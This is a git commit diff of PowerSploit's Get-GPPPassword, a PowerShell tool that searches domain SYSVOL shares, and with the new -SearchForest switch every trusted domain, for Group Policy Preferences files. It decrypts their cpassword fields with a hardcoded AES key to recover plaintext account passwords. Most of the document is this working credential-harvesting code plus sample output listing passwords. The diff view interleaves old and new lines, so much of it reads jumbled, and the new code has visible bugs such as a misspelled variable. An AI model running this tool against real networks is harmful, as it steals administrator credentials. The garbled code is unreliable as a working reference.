Fix for issue #170

Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
This commit is contained in:
HarmJ0y 2017-01-07 20:32:14 -05:00
parent 94438eda67
commit 5500a7e131
1 changed files with 277 additions and 181 deletions

View File

@ -2,246 +2,342 @@ function Get-GPPPassword {
<# <#
.SYNOPSIS .SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION .DESCRIPTION
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server .PARAMETER Server
Specify the domain controller to search for. Specify the domain controller to search for.
Default's to the users current domain Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters} NewName : [BLANK]
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} Changed : {2014-02-21 05:28:53}
Passwords : {Recycling*3ftw!, password123, password1234} Passwords : {password12}
UserNames : {Administrator (built-in), DummyAccount, dummy2} UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : [BLANK] NewName : {mspresenters}
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {password, password1234$} Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {administrator, admin} UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, read123} Passwords : {password, password1234$}
UserNames : {DEMO\Administrator, admin} UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
.EXAMPLE NewName : [BLANK]
PS C:\> Get-GPPPassword -Server EXAMPLE.COM Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
NewName : [BLANK] UserNames : {DEMO\Administrator, admin}
Changed : {2014-02-21 05:28:53} File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq Get-GPPPassword -Server EXAMPLE.COM
password NewName : [BLANK]
password12 Changed : {2014-02-21 05:28:53}
password123 Passwords : {password12}
password1234 UserNames : {test1}
password1234$ File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
read123
Recycling*3ftw! NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK .LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[String] [String]
$Server = $Env:USERDNSDOMAIN $Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
) )
#Some XML issues between versions # define helper function that decodes and decrypts password
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword { function Get-DecryptedCpassword {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[string] $Cpassword [string] $Cpassword
) )
try { try {
#Append appropriate padding based on string length #Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4) $Mod = ($Cpassword.length % 4)
switch ($Mod) { switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))} '2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))}
} }
$Base64Decoded = [Convert]::FromBase64String($Cpassword) $Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object #Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value #Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length) $AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV $AesObject.IV = $AesIV
$AesObject.Key = $AesKey $AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor() $DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} }
catch {Write-Error $Error[0]} catch { Write-Error $Error[0] }
} }
#define helper function to parse fields from xml files # helper function to parse fields from xml files
function Get-GPPInnerFields { function Get-GPPInnerField {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
$File $File
) )
try { try {
$Filename = Split-Path $File -Leaf $Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File) [xml] $Xml = Get-Content ($File)
#declare empty arrays # check for the cpassword field
$Cpassword = @() if ($Xml.innerxml -match 'cpassword') {
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' { $Xml.GetElementsByTagName('Properties') | ForEach-Object {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($_.cpassword) {
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Cpassword = $_.cpassword
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($Cpassword -and ($Cpassword -ne '')) {
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} $DecryptedPassword = Get-DecryptedCpassword $Cpassword
} $Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
'Services.xml' { }
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($_.newName) {
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NewName = $_.newName
} }
'Scheduledtasks.xml' { if ($_.userName) {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.userName
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} elseif ($_.accountName) {
} $UserName = $_.accountName
}
'DataSources.xml' { elseif ($_.runAs) {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.runAs
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} try {
$Changed = $_.ParentNode.changed
'Printers.xml' { }
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
}
try {
'Drives.xml' { $NodeName = $_.ParentNode.ParentNode.LocalName
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
} }
} }
} }
}
foreach ($Pass in $Cpassword) { catch {
Write-Verbose "Decrypting $Pass" Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
$DecryptedPassword = Get-DecryptedCpassword $Pass }
Write-Verbose "Decrypted a password of $DecryptedPassword" }
#append any new passwords to array
$Password += , $DecryptedPassword # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
} function Get-DomainTrust {
[CmdletBinding()]
#put [BLANK] in variables Param (
if (!($Password)) {$Password = '[BLANK]'} $Domain
if (!($UserName)) {$UserName = '[BLANK]'} )
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'} if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
#Create custom object to output results $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$ObjectProperties = @{'Passwords' = $Password; $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
'UserNames' = $UserName; if ($DomainObject) {
'Changed' = $Changed; $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
'NewName' = $NewName; }
'File' = $File} }
catch {
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
Write-Verbose "The password is between {} and may be more than one value." }
if ($ResultsObject) {Return $ResultsObject}
try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
} }
catch {Write-Error $Error[0]} if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
} }
try { try {
#ensure that machine is domain joined and script is running as a domain account $XMlFiles = @()
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { $Domains = @()
throw 'Machine is not a domain member or User is not a member of the domain.'
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
} }
#discover potential files containing passwords ; not complaining in case of denied access to a directory $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
foreach ($File in $XMLFiles) { Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$Result = (Get-GppInnerFields $File.Fullname) $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
Write-Output $Result
if($DomainXMLFiles) {
$XMlFiles += $DomainXMLFiles
}
}
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
} }
} }
catch {Write-Error $Error[0]} catch { Write-Error $Error[0] }
} }